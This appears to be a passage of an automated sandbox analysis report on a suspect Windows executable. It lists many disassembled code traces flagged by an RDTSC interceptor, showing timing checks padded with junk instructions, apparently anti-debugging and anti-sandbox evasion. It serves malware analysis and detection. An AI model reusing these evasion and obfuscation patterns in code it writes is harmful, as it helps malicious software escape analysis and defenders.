Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F3F6 second address: A1F403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4E5C73ECA6h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F539 second address: A1F53D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F53D second address: A1F556 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E5C73ECA6h 0x00000008 jc 00007F4E5C73ECA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F556 second address: A1F55F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A1F55F second address: A1F590 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F4E5C73ECBDh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F4E5C73ECAAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A263FE second address: A26417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4E5D020B46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F4E5D020B46h 0x00000013 jl 00007F4E5D020B46h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A26417 second address: A2646B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4E5C73ECB9h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007F4E5C73ECA6h 0x00000019 popad 0x0000001a popad 0x0000001b jng 00007F4E5C73ECC5h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F4E5C73ECB7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27896 second address: A2789D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2789D second address: A278A7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4E5C73ECACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A278A7 second address: A278CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jne 00007F4E5D020B54h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A279D8 second address: A279DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A279DC second address: A27A20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F4E5D020B55h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edx 0x00000012 jmp 00007F4E5D020B57h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pop edx 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27AFB second address: A27B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27B01 second address: A27B15 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4E5D020B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edx 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27B15 second address: A27B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ecx 0x00000009 ja 00007F4E5C73ECACh 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27B35 second address: A27B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27B39 second address: A27B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27B3F second address: A27B44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A27C3F second address: A27C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e jo 00007F4E5C73ECACh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2B9E1 second address: A2B9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4E5D020B58h 0x0000000a jmp 00007F4E5D020B4Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2B9F9 second address: A2B9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2B9FD second address: A2BA0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4E5D020B46h 0x0000000a jg 00007F4E5D020B46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C041 second address: A2C047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C047 second address: A2C04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C04D second address: A2C070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F4E5C73ECA6h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F4E5C73ECB4h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C070 second address: A2C075 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C075 second address: A2C087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F4E5C73ECA6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C1E6 second address: A2C207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4E5D020B46h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F4E5D020B53h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C207 second address: A2C222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnl 00007F4E5C73ECA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C4FA second address: A2C516 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4E5D020B46h 0x00000008 jmp 00007F4E5D020B4Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C516 second address: A2C528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E5C73ECA6h 0x0000000a jl 00007F4E5C73ECA6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C7F6 second address: A2C800 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4E5D020B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C800 second address: A2C817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB2h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C817 second address: A2C825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2C825 second address: A2C84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 ja 00007F4E5C73ECBFh 0x0000000f jmp 00007F4E5C73ECB7h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2CC69 second address: A2CC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A2CC76 second address: A2CC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECB0h 0x00000009 jmp 00007F4E5C73ECB4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A34B5C second address: A34B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007F4E5D020B52h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A34B73 second address: A34B8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A337E8 second address: A337EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A337EC second address: A337F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A337F5 second address: A3380A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4E5D020B46h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A3380A second address: A3380F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A3395D second address: A33968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A33968 second address: A3399A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECAFh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jne 00007F4E5C73ECA6h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4E5C73ECB1h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A33C4B second address: A33C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A33DAB second address: A33DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A33DB4 second address: A33DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4E5D020B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A33DBE second address: A33DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A34089 second address: A340A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B4Eh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A340A0 second address: A340A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A34620 second address: A3465B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4E5D020B4Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F4E5D020B52h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4E5D020B4Eh 0x00000017 jno 00007F4E5D020B46h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A3992C second address: A39930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9C41D3 second address: 9C41E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E5D020B48h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b jbe 00007F4E5D020B46h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9C41E6 second address: 9C420B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 jnp 00007F4E5C73ECA6h 0x00000016 jmp 00007F4E5C73ECACh 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD288 second address: 9FD292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD292 second address: 9FD296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD296 second address: 9E59B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F4E5D020B48h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c lea eax, dword ptr [ebp+12480F94h] 0x00000032 push edx 0x00000033 jns 00007F4E5D020B4Ch 0x00000039 pop edi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F4E5D020B52h 0x00000041 pop edx 0x00000042 mov dword ptr [esp], eax 0x00000045 call 00007F4E5D020B4Eh 0x0000004a mov dword ptr [ebp+122D2231h], ebx 0x00000050 pop edx 0x00000051 call dword ptr [ebp+122D23EFh] 0x00000057 pushad 0x00000058 pushad 0x00000059 jmp 00007F4E5D020B54h 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD41E second address: 9FD428 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4E5C73ECACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD76E second address: 9FD772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD772 second address: 84FB15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, dword ptr [ebp+122D2B50h] 0x00000010 push dword ptr [ebp+122D05D1h] 0x00000016 mov dword ptr [ebp+122D1FCEh], edx 0x0000001c call dword ptr [ebp+122D23DBh] 0x00000022 pushad 0x00000023 clc 0x00000024 xor eax, eax 0x00000026 cld 0x00000027 mov edx, dword ptr [esp+28h] 0x0000002b mov dword ptr [ebp+122D180Bh], edx 0x00000031 mov dword ptr [ebp+122D2BF0h], eax 0x00000037 pushad 0x00000038 mov dword ptr [ebp+122D1EDFh], esi 0x0000003e popad 0x0000003f sub dword ptr [ebp+122D28ABh], eax 0x00000045 mov esi, 0000003Ch 0x0000004a cld 0x0000004b clc 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 jmp 00007F4E5C73ECB5h 0x00000055 mov dword ptr [ebp+122D1EDFh], eax 0x0000005b lodsw 0x0000005d mov dword ptr [ebp+122D180Bh], esi 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 pushad 0x00000068 mov edi, dword ptr [ebp+122D2D7Ch] 0x0000006e popad 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 pushad 0x00000074 mov ebx, dword ptr [ebp+122D2B10h] 0x0000007a and dx, C260h 0x0000007f popad 0x00000080 push eax 0x00000081 pushad 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 popad 0x00000086 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FD947 second address: 9FD967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F4E5D020B53h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDA15 second address: 9FDA35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnp 00007F4E5C73ECA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jmp 00007F4E5C73ECADh 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDA35 second address: 9FDA3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDAAE second address: 9FDAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDAB5 second address: 9FDACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5D020B53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDACC second address: 9FDAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDCF8 second address: 9FDCFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDE6B second address: 9FDE8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDE8A second address: 9FDE94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4E5D020B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDE94 second address: 9FDEB4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E5C73ECA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ecx, dword ptr [ebp+122D2C24h] 0x00000013 push 00000004h 0x00000015 mov ecx, 0FD10A2Fh 0x0000001a nop 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDEB4 second address: 9FDED3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FDED3 second address: 9FDEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9FE659 second address: 9FE678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4E5D020B58h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38AFE second address: A38B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38B02 second address: A38B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B59h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38B21 second address: A38B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38B28 second address: A38B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38DDE second address: A38DE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38DE8 second address: A38DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A38DEE second address: A38E05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F4E5C73ECB1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
